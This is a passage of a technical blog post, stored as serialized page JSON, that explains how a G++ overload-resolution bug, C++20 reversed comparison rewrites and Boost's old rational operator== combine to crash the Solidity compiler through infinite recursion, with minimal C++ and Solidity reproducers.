casting, or undefined behavior.",{"type":23,"tag":24,"props":88666,"children":88667},{},[88668],{"type":28,"value":88669},"And yet, it crashes.",{"type":23,"tag":24,"props":88671,"children":88672},{},[88673],{"type":28,"value":88674},"Another minimal example?",{"type":23,"tag":494,"props":88676,"children":88678},{"code":88677,"language":3454,"meta":7,"className":3455,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure {\n        uint256[1] data;\n    }\n}\n",[88679],{"type":23,"tag":56,"props":88680,"children":88681},{"__ignoreMap":7},[88682,88689,88704,88711,88726,88753,88774,88781],{"type":23,"tag":504,"props":88683,"children":88684},{"class":506,"line":507},[88685],{"type":23,"tag":504,"props":88686,"children":88687},{"style":1106},[88688],{"type":28,"value":88532},{"type":23,"tag":504,"props":88690,"children":88691},{"class":506,"line":540},[88692,88696,88700],{"type":23,"tag":504,"props":88693,"children":88694},{"style":544},[88695],{"type":28,"value":88540},{"type":23,"tag":504,"props":88697,"children":88698},{"style":511},[88699],{"type":28,"value":88545},{"type":23,"tag":504,"props":88701,"children":88702},{"style":523},[88703],{"type":28,"value":88550},{"type":23,"tag":504,"props":88705,"children":88706},{"class":506,"line":555},[88707],{"type":23,"tag":504,"props":88708,"children":88709},{"emptyLinePlaceholder":16},[88710],{"type":28,"value":1038},{"type":23,"tag":504,"props":88712,"children":88713},{"class":506,"line":633},[88714,88718,88722],{"type":23,"tag":504,"props":88715,"children":88716},{"style":511},[88717],{"type":28,"value":88565},{"type":23,"tag":504,"props":88719,"children":88720},{"style":1012},[88721],{"type":28,"value":88570},{"type":23,"tag":504,"props":88723,"children":88724},{"style":523},[88725],{"type":28,"value":552},{"type":23,"tag":504,"props":88727,"children":88728},{"class":506,"line":687},[88729,88733,88737,88741,88745,88749],{"type":23,"tag":504,"props":88730,"children":88731},{"style":511},[88732],{"type":28,"value":88582},{"type":23,"tag":504,"props":88734,"children":88735},{"style":517},[88736],{"type":28,"value":88587},{"type":23,"tag":504,"props":88738,"children":88739},{"style":523},[88740],{"type":28,"value":13024},{"type":23,"tag":504,"props":88742,"children":88743},{"style":511},[88744],{"type":28,"value":60654},{"type":23,"tag":504,"props":88746,"children":88747},{"style":511},[88748],{"type":28,"value":88600},{"type":23,"tag":504,"props":88750,"children":88751},{"style":523},[88752],{"type":28,"value":552},{"type":23,"tag":504,"props":88754,"children":88755},{"class":506,"line":736},[88756,88761,88765,88769],{"type":23,"tag":504,"props":88757,"children":88758},{"style":1012},[88759],{"type":28,"value":88760},"        uint256",{"type":23,"tag":504,"props":88762,"children":88763},{"style":523},[88764],{"type":28,"value":2711},{"type":23,"tag":504,"props":88766,"children":88767},{"style":1440},[88768],{"type":28,"value":2991},{"type":23,"tag":504,"props":88770,"children":88771},{"style":523},[88772],{"type":28,"value":88773},"] data;\n",{"type":23,"tag":504,"props":88775,"children":88776},{"class":506,"line":785},[88777],{"type":23,"tag":504,"props":88778,"children":88779},{"style":523},[88780],{"type":28,"value":875},{"type":23,"tag":504,"props":88782,"children":88783},{"class":506,"line":813},[88784],{"type":23,"tag":504,"props":88785,"children":88786},{"style":523},[88787],{"type":28,"value":884},{"type":23,"tag":24,"props":88789,"children":88790},{},[88791],{"type":28,"value":88792},"Still crashes.",{"type":23,"tag":24,"props":88794,"children":88795},{},[88796],{"type":28,"value":88797},"So what’s going on?",{"type":23,"tag":24,"props":88799,"children":88800},{},[88801],{"type":28,"value":88802},"We traced it down to a seemingly unrelated C++ line deep in the compiler backend:",{"type":23,"tag":494,"props":88804,"children":88806},{"code":88805,"language":28093,"meta":7,"className":28091,"style":7},"if (*lengthValue == 0) { ... }\n",[88807],{"type":23,"tag":56,"props":88808,"children":88809},{"__ignoreMap":7},[88810],{"type":23,"tag":504,"props":88811,"children":88812},{"class":506,"line":507},[88813,88817,88821,88825,88830,88834,88838],{"type":23,"tag":504,"props":88814,"children":88815},{"style":544},[88816],{"type":28,"value":14560},{"type":23,"tag":504,"props":88818,"children":88819},{"style":523},[88820],{"type":28,"value":801},{"type":23,"tag":504,"props":88822,"children":88823},{"style":598},[88824],{"type":28,"value":3552},{"type":23,"tag":504,"props":88826,"children":88827},{"style":523},[88828],{"type":28,"value":88829},"lengthValue ",{"type":23,"tag":504,"props":88831,"children":88832},{"style":598},[88833],{"type":28,"value":7559},{"type":23,"tag":504,"props":88835,"children":88836},{"style":1440},[88837],{"type":28,"value":2023},{"type":23,"tag":504,"props":88839,"children":88840},{"style":523},[88841],{"type":28,"value":88842},") { ... }\n",{"type":23,"tag":24,"props":88844,"children":88845},{},[88846,88848,88854],{"type":28,"value":88847},"That single comparison — a ",{"type":23,"tag":56,"props":88849,"children":88851},{"className":88850},[],[88852],{"type":28,"value":88853},"boost::rational",{"type":28,"value":88855}," compared to 0 — causes infinite recursion in G++ \u003C 14 when compiled under C++20. And the resulting stack overflow crashes solc.",{"type":23,"tag":24,"props":88857,"children":88858},{},[88859],{"type":28,"value":88860},"This post unpacks how this happened — and why none of the individual components are technically \"broken\":",{"type":23,"tag":350,"props":88862,"children":88863},{},[88864,88869,88874],{"type":23,"tag":45,"props":88865,"children":88866},{},[88867],{"type":28,"value":88868},"A 12-year-old overload resolution bug in G++",{"type":23,"tag":45,"props":88870,"children":88871},{},[88872],{"type":28,"value":88873},"An outdated symmetric comparison pattern in Boost",{"type":23,"tag":45,"props":88875,"children":88876},{},[88877],{"type":28,"value":88878},"A subtle but impactful rewrite rule in C++20",{"type":23,"tag":24,"props":88880,"children":88881},{},[88882],{"type":28,"value":88883},"Put together, they form a perfect storm — one that takes down Solidity compilation on default Linux setups, even though your code is perfectly fine.",{"type":23,"tag":17774,"props":88885,"children":88886},{},[],{"type":23,"tag":70,"props":88888,"children":88890},{"id":88889},"background-the-setup",[88891],{"type":28,"value":88892},"Background: The Setup",{"type":23,"tag":24,"props":88894,"children":88895},{},[88896,88898,88905],{"type":28,"value":88897},"If you follow the ",{"type":23,"tag":92,"props":88899,"children":88902},{"href":88900,"rel":88901},"https://docs.soliditylang.org/en/v0.8.30/installing-solidity.html#building-from-source",[96],[88903],{"type":28,"value":88904},"Solidity build documentation (v0.8.30)",{"type":28,"value":88906},", you'll see it recommends:",{"type":23,"tag":350,"props":88908,"children":88909},{},[88910,88915],{"type":23,"tag":45,"props":88911,"children":88912},{},[88913],{"type":28,"value":88914},"Boost ≥ 1.67",{"type":23,"tag":45,"props":88916,"children":88917},{},[88918],{"type":28,"value":88919},"GCC ≥ 11",{"type":23,"tag":24,"props":88921,"children":88922},{},[88923],{"type":28,"value":88924},"Ubuntu 22.04, for example, ships with:",{"type":23,"tag":350,"props":88926,"children":88927},{},[88928,88933],{"type":23,"tag":45,"props":88929,"children":88930},{},[88931],{"type":28,"value":88932},"G++ 11.4.0",{"type":23,"tag":45,"props":88934,"children":88935},{},[88936],{"type":28,"value":88937},"Boost 1.74.0",{"type":23,"tag":24,"props":88939,"children":88940},{},[88941],{"type":28,"value":88942},"So far, so good.",{"type":23,"tag":24,"props":88944,"children":88945},{},[88946,88948,88953],{"type":28,"value":88947},"However, Solidity enabled ",{"type":23,"tag":296,"props":88949,"children":88950},{},[88951],{"type":28,"value":88952},"C++20",{"type":28,"value":88954}," in January 2025:",{"type":23,"tag":1909,"props":88956,"children":88957},{},[88958],{"type":23,"tag":24,"props":88959,"children":88960},{},[88961],{"type":23,"tag":92,"props":88962,"children":88965},{"href":88963,"rel":88964},"https://github.com/ethereum/solidity/commit/233a5081835a04939ccf85dfb5286c0b53d23c66",[96],[88966],{"type":28,"value":88967},"Enable C++20 in Solidity",{"type":23,"tag":24,"props":88969,"children":88970},{},[88971],{"type":28,"value":88972},"This wasn't accompanied by an update to the versions of dependencies in the documentation. As we'll soon see, that's what opened the trapdoor.",{"type":23,"tag":17774,"props":88974,"children":88975},{},[],{"type":23,"tag":70,"props":88977,"children":88979},{"id":88978},"part-i-a-12-year-old-g-bug-in-overload-resolution",[88980],{"type":28,"value":88981},"Part I: A 12-Year-Old G++ Bug in Overload Resolution",{"type":23,"tag":82,"props":88983,"children":88985},{"id":88984},"whats-overload-resolution",[88986],{"type":28,"value":88987},"What’s Overload Resolution?",{"type":23,"tag":24,"props":88989,"children":88990},{},[88991,88993,88999,89001,89007,89009,89014,89016,89021,89023,89029,89031,89036,89037,89043],{"type":28,"value":88992},"In C++, when you write an expression like ",{"type":23,"tag":56,"props":88994,"children":88996},{"className":88995},[],[88997],{"type":28,"value":88998},"a == b",{"type":28,"value":89000},", the compiler chooses among available ",{"type":23,"tag":56,"props":89002,"children":89004},{"className":89003},[],[89005],{"type":28,"value":89006},"operator==",{"type":28,"value":89008}," implementations by comparing their ",{"type":23,"tag":296,"props":89010,"children":89011},{},[89012],{"type":28,"value":89013},"match quality",{"type":28,"value":89015},". A ",{"type":23,"tag":296,"props":89017,"children":89018},{},[89019],{"type":28,"value":89020},"member function",{"type":28,"value":89022}," like ",{"type":23,"tag":56,"props":89024,"children":89026},{"className":89025},[],[89027],{"type":28,"value":89028},"a.operator==(b)",{"type":28,"value":89030}," usually has higher priority than a ",{"type":23,"tag":296,"props":89032,"children":89033},{},[89034],{"type":28,"value":89035},"non-member function",{"type":28,"value":89022},{"type":23,"tag":56,"props":89038,"children":89040},{"className":89039},[],[89041],{"type":28,"value":89042},"operator==(a, b)",{"type":28,"value":89044}," — unless the types differ too much or are ambiguous.",{"type":23,"tag":24,"props":89046,"children":89047},{},[89048],{"type":28,"value":89049},"That’s the rule. But G++ didn’t always follow it.",{"type":23,"tag":82,"props":89051,"children":89053},{"id":89052},"the-bug",[89054],{"type":28,"value":89055},"The Bug",{"type":23,"tag":24,"props":89057,"children":89058},{},[89059,89061,89068],{"type":28,"value":89060},"In 2012, a bug was filed: ",{"type":23,"tag":92,"props":89062,"children":89065},{"href":89063,"rel":89064},"https://gcc.gnu.org/bugzilla/show_bug.cgi?id=53499",[96],[89066],{"type":28,"value":89067},"GCC Bug 53499 – overload resolution favors non-member function",{"type":28,"value":89069},". The issue? In expressions where:",{"type":23,"tag":350,"props":89071,"children":89072},{},[89073,89093],{"type":23,"tag":45,"props":89074,"children":89075},{},[89076,89078,89084,89086,89091],{"type":28,"value":89077},"A class ",{"type":23,"tag":56,"props":89079,"children":89081},{"className":89080},[],[89082],{"type":28,"value":89083},"rational\u003CT>",{"type":28,"value":89085}," has a templated ",{"type":23,"tag":56,"props":89087,"children":89089},{"className":89088},[],[89090],{"type":28,"value":89006},{"type":28,"value":89092}," member function",{"type":23,"tag":45,"props":89094,"children":89095},{},[89096,89098,89104],{"type":28,"value":89097},"There's also a more generic free ",{"type":23,"tag":56,"props":89099,"children":89101},{"className":89100},[],[89102],{"type":28,"value":89103},"operator==(rational\u003CT>, U)",{"type":28,"value":37190},{"type":23,"tag":24,"props":89106,"children":89107},{},[89108],{"type":23,"tag":296,"props":89109,"children":89110},{},[89111],{"type":28,"value":89112},"Clang correctly chooses the member function.",{"type":23,"tag":24,"props":89114,"children":89115},{},[89116],{"type":23,"tag":296,"props":89117,"children":89118},{},[89119],{"type":28,"value":89120},"G++ (before v14) chooses the non-member function.",{"type":23,"tag":24,"props":89122,"children":89123},{},[89124,89126,89131,89133,89140],{"type":28,"value":89125},"Why? Because G++ mishandles ",{"type":23,"tag":296,"props":89127,"children":89128},{},[89129],{"type":28,"value":89130},"templated conversion + non-exact match",{"type":28,"value":89132},", overvaluing a non-member function with worse match quality. It does not correctly apply the overload resolution ranking rules defined in ",{"type":23,"tag":92,"props":89134,"children":89137},{"href":89135,"rel":89136},"https://cplusplus.github.io/CWG/issues/532.html",[96],[89138],{"type":28,"value":89139},"CWG532: Member/nonmember operator template partial ordering",{"type":28,"value":320},{"type":23,"tag":82,"props":89142,"children":89144},{"id":89143},"a-minimal-reproducer",[89145],{"type":28,"value":89146},"A Minimal Reproducer",{"type":23,"tag":24,"props":89148,"children":89149},{},[89150],{"type":28,"value":89151},"Let’s see this in action:",{"type":23,"tag":494,"props":89153,"children":89155},{"code":89154,"language":28093,"meta":7,"className":28091,"style":7},"#include \u003Ciostream>\n\ntemplate \u003Ctypename IntType>\nclass rational {\npublic:\n    template \u003Cclass T>\n    bool operator==(const T& i) const {\n        std::cout \u003C\u003C \"clang++ resolved member\" \u003C\u003C std::endl;\n        return true;\n    }\n};\n\ntemplate \u003Cclass Arg, class IntType>\nbool operator==(const rational\u003CIntType>& a, const Arg& b) {\n    std::cout \u003C\u003C \"g++ \u003C14 resolved non-member\" \u003C\u003C std::endl;\n    return false;\n}\n\nint main() {\n    rational\u003Cint> r;\n    return r == 0;\n}\n",[89156],{"type":23,"tag":56,"props":89157,"children":89158},{"__ignoreMap":7},[89159,89172,89179,89204,89220,89228,89252,89297,89325,89340,89347,89354,89361,89397,89466,89491,89506,89513,89520,89536,89561,89585],{"type":23,"tag":504,"props":89160,"children":89161},{"class":506,"line":507},[89162,89167],{"type":23,"tag":504,"props":89163,"children":89164},{"style":544},[89165],{"type":28,"value":89166},"#include",{"type":23,"tag":504,"props":89168,"children":89169},{"style":622},[89170],{"type":28,"value":89171}," \u003Ciostream>\n",{"type":23,"tag":504,"props":89173,"children":89174},{"class":506,"line":540},[89175],{"type":23,"tag":504,"props":89176,"children":89177},{"emptyLinePlaceholder":16},[89178],{"type":28,"value":1038},{"type":23,"tag":504,"props":89180,"children":89181},{"class":506,"line":555},[89182,89186,89190,89195,89200],{"type":23,"tag":504,"props":89183,"children":89184},{"style":511},[89185],{"type":28,"value":65196},{"type":23,"tag":504,"props":89187,"children":89188},{"style":523},[89189],{"type":28,"value":7702},{"type":23,"tag":504,"props":89191,"children":89192},{"style":511},[89193],{"type":28,"value":89194},"typename",{"type":23,"tag":504,"props":89196,"children":89197},{"style":1012},[89198],{"type":28,"value":89199}," IntType",{"type":23,"tag":504,"props":89201,"children":89202},{"style":523},[89203],{"type":28,"value":4976},{"type":23,"tag":504,"props":89205,"children":89206},{"class":506,"line":633},[89207,89211,89216],{"type":23,"tag":504,"props":89208,"children":89209},{"style":511},[89210],{"type":28,"value":1009},{"type":23,"tag":504,"props":89212,"children":89213},{"style":1012},[89214],{"type":28,"value":89215}," rational",{"type":23,"tag":504,"props":89217,"children":89218},{"style":523},[89219],{"type":28,"value":552},{"type":23,"tag":504,"props":89221,"children":89222},{"class":506,"line":687},[89223],{"type":23,"tag":504,"props":89224,"children":89225},{"style":511},[89226],{"type":28,"value":89227},"public:\n",{"type":23,"tag":504,"props":89229,"children":89230},{"class":506,"line":736},[89231,89236,89240,89244,89248],{"type":23,"tag":504,"props":89232,"children":89233},{"style":511},[89234],{"type":28,"value":89235},"    template",{"type":23,"tag":504,"props":89237,"children":89238},{"style":523},[89239],{"type":28,"value":7702},{"type":23,"tag":504,"props":89241,"children":89242},{"style":511},[89243],{"type":28,"value":1009},{"type":23,"tag":504,"props":89245,"children":89246},{"style":1012},[89247],{"type":28,"value":4902},{"type":23,"tag":504,"props":89249,"children":89250},{"style":523},[89251],{"type":28,"value":4976},{"type":23,"tag":504,"props":89253,"children":89254},{"class":506,"line":785},[89255,89259,89264,89269,89273,89277,89281,89285,89289,89293],{"type":23,"tag":504,"props":89256,"children":89257},{"style":511},[89258],{"type":28,"value":45452},{"type":23,"tag":504,"props":89260,"children":89261},{"style":511},[89262],{"type":28,"value":89263}," operator",{"type":23,"tag":504,"props":89265,"children":89266},{"style":523},[89267],{"type":28,"value":89268},"==(",{"type":23,"tag":504,"props":89270,"children":89271},{"style":511},[89272],{"type":28,"value":8635},{"type":23,"tag":504,"props":89274,"children":89275},{"style":1012},[89276],{"type":28,"value":4902},{"type":23,"tag":504,"props":89278,"children":89279},{"style":511},[89280],{"type":28,"value":2086},{"type":23,"tag":504,"props":89282,"children":89283},{"style":529},[89284],{"type":28,"value":2374},{"type":23,"tag":504,"props":89286,"children":89287},{"style":523},[89288],{"type":28,"value":2064},{"type":23,"tag":504,"props":89290,"children":89291},{"style":511},[89292],{"type":28,"value":8635},{"type":23,"tag":504,"props":89294,"children":89295},{"style":523},[89296],{"type":28,"value":552},{"type":23,"tag":504,"props":89298,"children":89299},{"class":506,"line":813},[89300,89305,89310,89315,89320],{"type":23,"tag":504,"props":89301,"children":89302},{"style":523},[89303],{"type":28,"value":89304},"        std::cout ",{"type":23,"tag":504,"props":89306,"children":89307},{"style":598},[89308],{"type":28,"value":89309},"\u003C\u003C",{"type":23,"tag":504,"props":89311,"children":89312},{"style":622},[89313],{"type":28,"value":89314}," \"clang++ resolved member\"",{"type":23,"tag":504,"props":89316,"children":89317},{"style":598},[89318],{"type":28,"value":89319}," \u003C\u003C",{"type":23,"tag":504,"props":89321,"children":89322},{"style":523},[89323],{"type":28,"value":89324}," std::endl;\n",{"type":23,"tag":504,"props":89326,"children":89327},{"class":506,"line":851},[89328,89332,89336],{"type":23,"tag":504,"props":89329,"children":89330},{"style":544},[89331],{"type":28,"value":742},{"type":23,"tag":504,"props":89333,"children":89334},{"style":511},[89335],{"type":28,"value":1750},{"type":23,"tag":504,"props":89337,"children":89338},{"style":523},[89339],{"type":28,"value":866},{"type":23,"tag":504,"props":89341,"children":89342},{"class":506,"line":869},[89343],{"type":23,"tag":504,"props":89344,"children":89345},{"style":523},[89346],{"type":28,"value":875},{"type":23,"tag":504,"props":89348,"children":89349},{"class":506,"line":878},[89350],{"type":23,"tag":504,"props":89351,"children":89352},{"style":523},[89353],{"type":28,"value":15556},{"type":23,"tag":504,"props":89355,"children":89356},{"class":506,"line":1221},[89357],{"type":23,"tag":504,"props":89358,"children":89359},{"emptyLinePlaceholder":16},[89360],{"type":28,"value":1038},{"type":23,"tag":504,"props":89362,"children":89363},{"class":506,"line":1276},[89364,89368,89372,89376,89381,89385,89389,89393],{"type":23,"tag":504,"props":89365,"children":89366},{"style":511},[89367],{"type":28,"value":65196},{"type":23,"tag":504,"props":89369,"children":89370},{"style":523},[89371],{"type":28,"value":7702},{"type":23,"tag":504,"props":89373,"children":89374},{"style":511},[89375],{"type":28,"value":1009},{"type":23,"tag":504,"props":89377,"children":89378},{"style":1012},[89379],{"type":28,"value":89380}," Arg",{"type":23,"tag":504,"props":89382,"children":89383},{"style":523},[89384],{"type":28,"value":576},{"type":23,"tag":504,"props":89386,"children":89387},{"style":511},[89388],{"type":28,"value":1009},{"type":23,"tag":504,"props":89390,"children":89391},{"style":1012},[89392],{"type":28,"value":89199},{"type":23,"tag":504,"props":89394,"children":89395},{"style":523},[89396],{"type":28,"value":4976},{"type":23,"tag":504,"props":89398,"children":89399},{"class":506,"line":1285},[89400,89404,89408,89412,89416,89420,89424,89429,89433,89437,89441,89445,89449,89453,89457,89462],{"type":23,"tag":504,"props":89401,"children":89402},{"style":511},[89403],{"type":28,"value":28667},{"type":23,"tag":504,"props":89405,"children":89406},{"style":511},[89407],{"type":28,"value":89263},{"type":23,"tag":504,"props":89409,"children":89410},{"style":523},[89411],{"type":28,"value":89268},{"type":23,"tag":504,"props":89413,"children":89414},{"style":511},[89415],{"type":28,"value":8635},{"type":23,"tag":504,"props":89417,"children":89418},{"style":1012},[89419],{"type":28,"value":89215},{"type":23,"tag":504,"props":89421,"children":89422},{"style":523},[89423],{"type":28,"value":4789},{"type":23,"tag":504,"props":89425,"children":89426},{"style":1012},[89427],{"type":28,"value":89428},"IntType",{"type":23,"tag":504,"props":89430,"children":89431},{"style":523},[89432],{"type":28,"value":9443},{"type":23,"tag":504,"props":89434,"children":89435},{"style":511},[89436],{"type":28,"value":2086},{"type":23,"tag":504,"props":89438,"children":89439},{"style":529},[89440],{"type":28,"value":88587},{"type":23,"tag":504,"props":89442,"children":89443},{"style":523},[89444],{"type":28,"value":576},{"type":23,"tag":504,"props":89446,"children":89447},{"style":511},[89448],{"type":28,"value":8635},{"type":23,"tag":504,"props":89450,"children":89451},{"style":1012},[89452],{"type":28,"value":89380},{"type":23,"tag":504,"props":89454,"children":89455},{"style":511},[89456],{"type":28,"value":2086},{"type":23,"tag":504,"props":89458,"children":89459},{"style":529},[89460],{"type":28,"value":89461}," b",{"type":23,"tag":504,"props":89463,"children":89464},{"style":523},[89465],{"type":28,"value":537},{"type":23,"tag":504,"props":89467,"children":89468},{"class":506,"line":1294},[89469,89474,89478,89483,89487],{"type":23,"tag":504,"props":89470,"children":89471},{"style":523},[89472],{"type":28,"value":89473},"    std::cout ",{"type":23,"tag":504,"props":89475,"children":89476},{"style":598},[89477],{"type":28,"value":89309},{"type":23,"tag":504,"props":89479,"children":89480},{"style":622},[89481],{"type":28,"value":89482}," \"g++ \u003C14 resolved non-member\"",{"type":23,"tag":504,"props":89484,"children":89485},{"style":598},[89486],{"type":28,"value":89319},{"type":23,"tag":504,"props":89488,"children":89489},{"style":523},[89490],{"type":28,"value":89324},{"type":23,"tag":504,"props":89492,"children":89493},{"class":506,"line":1302},[89494,89498,89502],{"type":23,"tag":504,"props":89495,"children":89496},{"style":544},[89497],{"type":28,"value":15968},{"type":23,"tag":504,"props":89499,"children":89500},{"style":511},[89501],{"type":28,"value":8041},{"type":23,"tag":504,"props":89503,"children":89504},{"style":523},[89505],{"type":28,"value":866},{"type":23,"tag":504,"props":89507,"children":89508},{"class":506,"line":1311},[89509],{"type":23,"tag":504,"props":89510,"children":89511},{"style":523},[89512],{"type":28,"value":884},{"type":23,"tag":504,"props":89514,"children":89515},{"class":506,"line":1334},[89516],{"type":23,"tag":504,"props":89517,"children":89518},{"emptyLinePlaceholder":16},[89519],{"type":28,"value":1038},{"type":23,"tag":504,"props":89521,"children":89522},{"class":506,"line":1370},[89523,89527,89532],{"type":23,"tag":504,"props":89524,"children":89525},{"style":511},[89526],{"type":28,"value":18028},{"type":23,"tag":504,"props":89528,"children":89529},{"style":517},[89530],{"type":28,"value":89531}," main",{"type":23,"tag":504,"props":89533,"children":89534},{"style":523},[89535],{"type":28,"value":1030},{"type":23,"tag":504,"props":89537,"children":89538},{"class":506,"line":1384},[89539,89544,89548,89552,89556],{"type":23,"tag":504,"props":89540,"children":89541},{"style":523},[89542],{"type":28,"value":89543},"    rational",{"type":23,"tag":504,"props":89545,"children":89546},{"style":598},[89547],{"type":28,"value":4789},{"type":23,"tag":504,"props":89549,"children":89550},{"style":511},[89551],{"type":28,"value":18028},{"type":23,"tag":504,"props":89553,"children":89554},{"style":598},[89555],{"type":28,"value":9443},{"type":23,"tag":504,"props":89557,"children":89558},{"style":523},[89559],{"type":28,"value":89560}," r;\n",{"type":23,"tag":504,"props":89562,"children":89563},{"class":506,"line":1392},[89564,89568,89573,89577,89581],{"type":23,"tag":504,"props":89565,"children":89566},{"style":544},[89567],{"type":28,"value":15968},{"type":23,"tag":504,"props":89569,"children":89570},{"style":523},[89571],{"type":28,"value":89572}," r ",{"type":23,"tag":504,"props":89574,"children":89575},{"style":598},[89576],{"type":28,"value":7559},{"type":23,"tag":504,"props":89578,"children":89579},{"style":1440},[89580],{"type":28,"value":2023},{"type":23,"tag":504,"props":89582,"children":89583},{"style":523},[89584],{"type":28,"value":866},{"type":23,"tag":504,"props":89586,"children":89587},{"class":506,"line":1400},[89588],{"type":23,"tag":504,"props":89589,"children":89590},{"style":523},[89591],{"type":28,"value":884},{"type":23,"tag":350,"props":89593,"children":89594},{},[89595],{"type":23,"tag":45,"props":89596,"children":89597},{},[89598],{"type":28,"value":89599},"Compile with g++\u003C14:",{"type":23,"tag":494,"props":89601,"children":89603},{"code":89602,"language":3223,"meta":7,"className":3224,"style":7},"g++ -std=c++17 main.cpp -o test && ./test\n",[89604],{"type":23,"tag":56,"props":89605,"children":89606},{"__ignoreMap":7},[89607],{"type":23,"tag":504,"props":89608,"children":89609},{"class":506,"line":507},[89610,89615,89620,89625,89630,89634,89639],{"type":23,"tag":504,"props":89611,"children":89612},{"style":517},[89613],{"type":28,"value":89614},"g++",{"type":23,"tag":504,"props":89616,"children":89617},{"style":622},[89618],{"type":28,"value":89619}," -std=c++17",{"type":23,"tag":504,"props":89621,"children":89622},{"style":622},[89623],{"type":28,"value":89624}," main.cpp",{"type":23,"tag":504,"props":89626,"children":89627},{"style":622},[89628],{"type":28,"value":89629}," -o",{"type":23,"tag":504,"props":89631,"children":89632},{"style":622},[89633],{"type":28,"value":29660},{"type":23,"tag":504,"props":89635,"children":89636},{"style":523},[89637],{"type":28,"value":89638}," && ",{"type":23,"tag":504,"props":89640,"children":89641},{"style":517},[89642],{"type":28,"value":89643},"./test\n",{"type":23,"tag":24,"props":89645,"children":89646},{},[89647],{"type":28,"value":89648},"Output (on g++ 11.4):",{"type":23,"tag":494,"props":89650,"children":89652},{"code":89651},"g++ \u003C14 resolved non-member\n",[89653],{"type":23,"tag":56,"props":89654,"children":89655},{"__ignoreMap":7},[89656],{"type":28,"value":89651},{"type":23,"tag":350,"props":89658,"children":89659},{},[89660],{"type":23,"tag":45,"props":89661,"children":89662},{},[89663],{"type":28,"value":89664},"Compile with clang++:",{"type":23,"tag":494,"props":89666,"children":89668},{"code":89667,"language":3223,"meta":7,"className":3224,"style":7},"clang++ -std=c++17 main.cpp -o test && ./test\n",[89669],{"type":23,"tag":56,"props":89670,"children":89671},{"__ignoreMap":7},[89672],{"type":23,"tag":504,"props":89673,"children":89674},{"class":506,"line":507},[89675,89680,89684,89688,89692,89696,89700],{"type":23,"tag":504,"props":89676,"children":89677},{"style":517},[89678],{"type":28,"value":89679},"clang++",{"type":23,"tag":504,"props":89681,"children":89682},{"style":622},[89683],{"type":28,"value":89619},{"type":23,"tag":504,"props":89685,"children":89686},{"style":622},[89687],{"type":28,"value":89624},{"type":23,"tag":504,"props":89689,"children":89690},{"style":622},[89691],{"type":28,"value":89629},{"type":23,"tag":504,"props":89693,"children":89694},{"style":622},[89695],{"type":28,"value":29660},{"type":23,"tag":504,"props":89697,"children":89698},{"style":523},[89699],{"type":28,"value":89638},{"type":23,"tag":504,"props":89701,"children":89702},{"style":517},[89703],{"type":28,"value":89643},{"type":23,"tag":24,"props":89705,"children":89706},{},[89707],{"type":28,"value":89708},"Output:",{"type":23,"tag":494,"props":89710,"children":89712},{"code":89711},"clang++ resolved member\n",[89713],{"type":23,"tag":56,"props":89714,"children":89715},{"__ignoreMap":7},[89716],{"type":28,"value":89711},{"type":23,"tag":24,"props":89718,"children":89719},{},[89720],{"type":28,"value":89721},"In short, the wrong function gets picked. G++ was broken here until v14.",{"type":23,"tag":17774,"props":89723,"children":89724},{},[],{"type":23,"tag":70,"props":89726,"children":89728},{"id":89727},"part-ii-c20s-symmetric-comparison-feature",[89729],{"type":28,"value":89730},"Part II: C++20’s Symmetric Comparison Feature",{"type":23,"tag":82,"props":89732,"children":89734},{"id":89733},"what-changed-in-c20",[89735],{"type":28,"value":89736},"What Changed in C++20?",{"type":23,"tag":24,"props":89738,"children":89739},{},[89740,89742,89755,89756,89761],{"type":28,"value":89741},"C++20 introduced the ",{"type":23,"tag":92,"props":89743,"children":89746},{"href":89744,"rel":89745},"https://en.cppreference.com/w/cpp/language/operator_comparison",[96],[89747,89749],{"type":28,"value":89748},"spaceship operator ",{"type":23,"tag":56,"props":89750,"children":89752},{"className":89751},[],[89753],{"type":28,"value":89754},"\u003C=>",{"type":28,"value":430},{"type":23,"tag":296,"props":89757,"children":89758},{},[89759],{"type":28,"value":89760},"defaulted comparison rewrites",{"type":28,"value":320},{"type":23,"tag":24,"props":89763,"children":89764},{},[89765,89767,89772],{"type":28,"value":89766},"When you define a two-argument ",{"type":23,"tag":56,"props":89768,"children":89770},{"className":89769},[],[89771],{"type":28,"value":89006},{"type":28,"value":89773},", C++20 may implicitly define the \"reversed\" version:",{"type":23,"tag":350,"props":89775,"children":89776},{},[89777,89788],{"type":23,"tag":45,"props":89778,"children":89779},{},[89780,89782],{"type":28,"value":89781},"If you define: ",{"type":23,"tag":56,"props":89783,"children":89785},{"className":89784},[],[89786],{"type":28,"value":89787},"bool operator==(T1, T2);",{"type":23,"tag":45,"props":89789,"children":89790},{},[89791,89793,89799],{"type":28,"value":89792},"Then ",{"type":23,"tag":56,"props":89794,"children":89796},{"className":89795},[],[89797],{"type":28,"value":89798},"T2 == T1",{"type":28,"value":89800}," may call the same function by reversing the arguments.",{"type":23,"tag":24,"props":89802,"children":89803},{},[89804,89806,89811,89812,89817,89819,89825,89827,89832],{"type":28,"value":89805},"This rewrite is ",{"type":23,"tag":296,"props":89807,"children":89808},{},[89809],{"type":28,"value":89810},"recursive",{"type":28,"value":14311},{"type":23,"tag":56,"props":89813,"children":89815},{"className":89814},[],[89816],{"type":28,"value":88998},{"type":28,"value":89818}," becomes ",{"type":23,"tag":56,"props":89820,"children":89822},{"className":89821},[],[89823],{"type":28,"value":89824},"b == a",{"type":28,"value":89826},", which becomes ",{"type":23,"tag":56,"props":89828,"children":89830},{"className":89829},[],[89831],{"type":28,"value":88998},{"type":28,"value":89833}," again, and so on — if not handled carefully.",{"type":23,"tag":24,"props":89835,"children":89836},{},[89837],{"type":28,"value":89838},"This is great for reducing boilerplate — unless the call becomes ambiguous or self-referential.",{"type":23,"tag":17774,"props":89840,"children":89841},{},[],{"type":23,"tag":70,"props":89843,"children":89845},{"id":89844},"part-iii-the-boost-trapdoor",[89846],{"type":28,"value":89847},"Part III: The Boost Trapdoor",{"type":23,"tag":24,"props":89849,"children":89850},{},[89851,89853,89859,89861,89866],{"type":28,"value":89852},"The old Boost ",{"type":23,"tag":56,"props":89854,"children":89856},{"className":89855},[],[89857],{"type":28,"value":89858},"rational",{"type":28,"value":89860}," class (prior to v1.75) defined both member function and non-member function of ",{"type":23,"tag":56,"props":89862,"children":89864},{"className":89863},[],[89865],{"type":28,"value":89006},{"type":28,"value":3472},{"type":23,"tag":494,"props":89868,"children":89870},{"code":89869,"language":28093,"meta":7,"className":28091,"style":7},"template \u003Cclass Arg, class IntType>\ntemplate \u003Ctypename 